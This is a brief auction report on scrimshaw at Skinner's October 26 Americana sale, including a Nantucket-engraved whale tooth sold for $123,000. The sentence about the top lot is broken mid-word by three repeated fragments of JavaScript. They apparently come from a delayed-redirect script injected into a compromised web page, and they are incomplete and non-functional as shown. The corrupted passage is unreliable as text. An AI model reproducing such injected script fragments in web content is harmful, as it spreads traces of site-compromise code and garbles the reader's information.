BOSTON, MASS. — A small but choice selection of marine art contributed dozens of pieces of scrimshaw to Skinner’s October 26 Americana sale. The top lot, a signed tooth decorated by Nantucket scrimshandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Frederick Myrick, went to Ipswich, Mass., dealer Andrew Jacobson bidding for a client for $123,000, including buyer’s premium. Myrick engraved the tooth around 1828 or 1829 with views of the ship Frances of New Bedford, Mass.

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